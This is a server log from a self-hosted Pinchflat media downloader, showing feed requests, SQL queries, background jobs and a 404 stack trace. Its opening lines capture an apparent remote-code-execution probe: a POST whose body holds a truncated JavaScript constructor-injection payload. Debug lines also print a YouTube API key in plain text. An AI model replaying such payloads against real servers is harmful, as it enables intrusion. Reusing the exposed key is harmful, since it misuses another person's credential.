%Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22340.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "content-length" => "625", "content-type" => "multipart/form-data; boundary=fe17c87d23909a509de210ced743a5839da5ac6cd99949e59cd70c9a3f78", "host" => "pinchflat.burns-family.net", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "213.209.159.175", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "213.209.159.175" }, method: "POST", body_length: 625, path_info: :undefined, qs: "", host_info: :undefined, has_body: true, has_read_body: true, streamid: 1 }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.requir (truncated) 16:42:28.495 [info] {"source":"oban","duration":7612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:30.973 [info] GET /sources/a44c23cb-2597-4e92-a8a4-345e4b7faa0b/feed.xml 16:42:30.973 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a44c23cb-2597-4e92-a8a4-345e4b7faa0b"} Pipelines: [:maybe_basic_auth] 16:42:30.974 [debug] QUERY OK source="sources" db=0.1ms idle=1095.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a44c23cb-2597-4e92-a8a4-345e4b7faa0b"] 16:42:30.974 [debug] QUERY OK source="media_items" db=0.6ms idle=1095.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [15, 2000] 16:42:30.975 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1096.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [15] 16:42:30.975 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1016.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563490] 16:42:30.975 [info] Sent 200 in 2ms 16:42:31.019 [info] GET /sources/395dfb31-2159-4757-8e0b-5d8c56c599d3/feed.xml 16:42:31.019 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "395dfb31-2159-4757-8e0b-5d8c56c599d3"} Pipelines: [:maybe_basic_auth] 16:42:31.019 [debug] QUERY OK source="sources" db=0.1ms idle=59.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["395dfb31-2159-4757-8e0b-5d8c56c599d3"] 16:42:31.020 [debug] QUERY OK source="media_items" db=0.4ms idle=46.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [4, 2000] 16:42:31.020 [debug] QUERY OK source="source_metadata" db=0.0ms idle=46.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [4] 16:42:31.021 [debug] QUERY OK source="media_metadata" db=0.0ms idle=45.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564146] 16:42:31.021 [info] Sent 200 in 1ms 16:42:33.355 [info] GET /sources/5/force_index 16:42:33.356 [debug] QUERY OK source="settings" db=0.1ms idle=477.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:42:33.356 [debug] QUERY OK source="settings" db=0.0ms idle=478.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:42:33.356 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:42:33.356 [error] #PID<0.22349.0> running PinchflatWeb.Endpoint (connection #PID<0.22348.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/5/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22348.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "201.233.173.161", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "201.233.173.161" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22349.0>, params: %{}, path_info: ["sources", "5", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "201.233.173.161"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "201.233.173.161"} ], request_path: "/sources/5/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMD41IN8NzKoiMACSjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22348.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "201.233.173.161", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "201.233.173.161" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22348.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "201.233.173.161", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "201.233.173.161" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22349.0>, params: %{}, path_info: ["sources", "5", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3 (truncated) 16:42:58.506 [info] {"source":"oban","duration":10240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.033 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:28.194 [info] GET /sources/03326ffe-bc9f-49e9-b871-f1a05c201b77/feed.xml 16:43:28.194 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03326ffe-bc9f-49e9-b871-f1a05c201b77"} Pipelines: [:maybe_basic_auth] 16:43:28.195 [debug] QUERY OK source="sources" db=0.2ms idle=1316.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03326ffe-bc9f-49e9-b871-f1a05c201b77"] 16:43:28.195 [debug] QUERY OK source="media_items" db=0.3ms idle=1176.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [20, 2000] 16:43:28.196 [debug] QUERY OK source="source_metadata" db=0.0ms idle=317.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [20] 16:43:28.196 [debug] QUERY OK source="media_metadata" db=0.0ms idle=317.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564176] 16:43:28.196 [info] Sent 200 in 1ms 16:43:28.517 [info] {"source":"oban","duration":10154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:58.525 [info] {"source":"oban","duration":7428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.034 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:13.307 [info] GET /sources/c265de63-c36a-4e88-bc51-2cf2504d420f/feed.xml 16:44:13.307 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c265de63-c36a-4e88-bc51-2cf2504d420f"} Pipelines: [:maybe_basic_auth] 16:44:13.307 [debug] QUERY OK source="sources" db=0.1ms idle=1429.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c265de63-c36a-4e88-bc51-2cf2504d420f"] 16:44:13.308 [debug] QUERY OK source="media_items" db=0.3ms idle=1429.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [43, 2000] 16:44:13.308 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1430.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [43] 16:44:13.308 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1240.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563756] 16:44:13.308 [info] Sent 200 in 1ms 16:44:28.533 [info] {"source":"oban","duration":7672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:58.542 [info] {"source":"oban","duration":7936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.035 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:23.486 [info] GET /sources/be49242a-e234-4087-a8b9-7fa831077b1d/feed.xml 16:45:23.486 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "be49242a-e234-4087-a8b9-7fa831077b1d"} Pipelines: [:maybe_basic_auth] 16:45:23.486 [debug] QUERY OK source="sources" db=0.1ms idle=1608.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["be49242a-e234-4087-a8b9-7fa831077b1d"] 16:45:23.488 [debug] QUERY OK source="media_items" db=1.0ms idle=1608.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [39, 2000] 16:45:23.492 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1353.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [39] 16:45:23.492 [debug] QUERY OK source="media_metadata" db=0.0ms idle=614.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563741] 16:45:23.492 [info] Sent 200 in 6ms 16:45:28.550 [info] {"source":"oban","duration":7383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:58.559 [info] {"source":"oban","duration":7648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.036 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:28.566 [info] {"source":"oban","duration":7398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:30.215 [info] {"args":{"id":19},"id":3799998,"meta":{},"system_time":1770763590215295670,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:30.215 [info] {"args":{"id":30},"id":3799999,"meta":{},"system_time":1770763590215350391,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:30.217 [debug] QUERY OK source="sources" db=1.5ms idle=337.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:46:30.217 [debug] QUERY OK source="sources" db=1.5ms idle=337.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:46:30.218 [debug] QUERY OK source="settings" db=1.3ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.218 [debug] QUERY OK source="settings" db=1.6ms idle=338.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.218 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:30.218 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:30.219 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.219 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:46:30.219 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.219 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:46:30.219 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.219 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:30.219 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.219 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:30.349 [debug] QUERY OK source="media_items" db=0.5ms idle=129.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", 